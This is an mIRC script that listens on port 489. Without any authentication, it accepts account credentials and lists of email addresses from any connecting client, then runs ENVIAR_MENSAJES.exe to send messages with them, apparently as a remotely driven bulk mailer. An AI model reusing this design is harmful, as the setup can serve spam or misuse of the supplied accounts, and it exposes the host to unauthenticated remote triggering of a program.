MANOLO SE LA COME

Alias Comienza {
	Set %ACEPTADOS 0
	Socklisten ESCUCHA 489
	Echo -a Poniendo puerto en Escucha
}

On *:Socklisten:ESCUCHA:{
	Inc %ACEPTADOS 1
	Sockaccept $+(ACEPTADO.,%ACEPTADOS)
}

On *:Sockread:ACEPTADO.*:{
	sockread %tmp
	if (Set1 == $gettok(%tmp,1,32)) {
		if (($gettok(%tmp,2,32) != $null) && ($gettok(%tmp,3,32) != $null)) {
			Set %USER. [ $+ [ $gettok($sockname,2,46) ] ] $gettok(%tmp,2,32)
			Set %PW. [ $+ [ $gettok($sockname,2,46) ] ] $gettok(%tmp,3,32)
			Echo -a ----------------------------------------------
			Echo -a USUARIO CARGADO: %USER. [ $+ [ $gettok($sockname,2,46) ] ]
			Echo -a PASSWORD CARGADO: %PW. [ $+ [ $gettok($sockname,2,46) ] ]
		}
	}
	if (Set2 == $gettok(%tmp,1,32)) {
		if ($gettok(%tmp,2,32) != $null) {
			var %DUMP.ARCH = $+(E_MAIL,%USER. [ $+ [ $gettok($sockname,2,46) ] ],.txt)
			set %ARCH. [ $+ [ $gettok($sockname,2,46) ] ] %DUMP.ARCH
			if ($read(%DUMP.ARCH,w,* $+ $gettok(%tmp,2,32)) == $null) {
				write %DUMP.ARCH $gettok(%tmp,2,32)
			}
			else {
				Echo -a Imposible Cargar E-Mail, ya se encuentra en la db del usuario!
			}
		}
	}
	if (Set3 == $gettok(%tmp,1,32)) {
		if ($gettok(%tmp,2,32) == ok) {
			Run ENVIAR_MENSAJES.exe %USER. [ $+ [ $gettok($sockname,2,46) ] ] %PW. [ $+ [ $gettok($sockname,2,46) ] ] %ARCH. [ $+ [ $gettok($sockname,2,46) ] ]
		}
	}
}